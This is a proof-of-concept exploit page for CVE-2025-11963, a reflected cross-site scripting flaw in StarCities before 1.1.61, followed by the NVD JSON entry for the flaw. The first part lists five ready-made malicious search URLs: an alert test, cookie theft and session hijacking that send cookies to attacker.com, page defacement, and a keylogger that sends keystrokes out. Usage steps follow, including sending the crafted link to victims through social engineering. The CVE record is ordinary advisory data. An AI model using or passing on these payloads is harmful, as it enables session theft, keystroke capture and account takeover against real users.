CVE-2025-11963

<!-- CVE-2025-11963 Reflected XSS PoC --> <!-- Target: StarCities before version 1.1.61 --> <!-- Attack Vector: Inject malicious JavaScript via URL parameter --> <!-- PoC 1: Basic XSS Alert --> <!-- Replace [TARGET_URL] with the actual StarCities application URL --> https://[TARGET_URL]/search?q=<script>alert('XSS')</script> <!-- PoC 2: Cookie Stealing --> https://[TARGET_URL]/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- PoC 3: Session Hijacking --> https://[TARGET_URL]/search?q=<script>var img=new Image();img.src='https://attacker.com/log?cookie='+document.cookie</script> <!-- PoC 4: DOM Manipulation --> https://[TARGET_URL]/search?q=<script>document.body.innerHTML='<h1>Hacked</h1><p>Visit attacker.com</p>'</script> <!-- PoC 5: Keylogger --> https://[TARGET_URL]/search?q=<script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script> <!-- Usage: --> <!-- 1. Replace [TARGET_URL] with the vulnerable StarCities endpoint --> <!-- 2. Encode the payload if necessary (URL encoding, HTML encoding) --> <!-- 3. Send the crafted URL to the victim via social engineering --> <!-- 4. When victim clicks the link, the JavaScript code will execute in their browser context -->

{"cve": {"id": "CVE-2025-11963", "sourceIdentifier": "[email protected]", "published": "2025-11-19T14:15:58.273", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Saysis Computer Systems Trade Ltd. Co. StarCities allows Reflected XSS.This issue affects StarCities: before 1.1.61."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0403", "source": "[email protected]"}]}}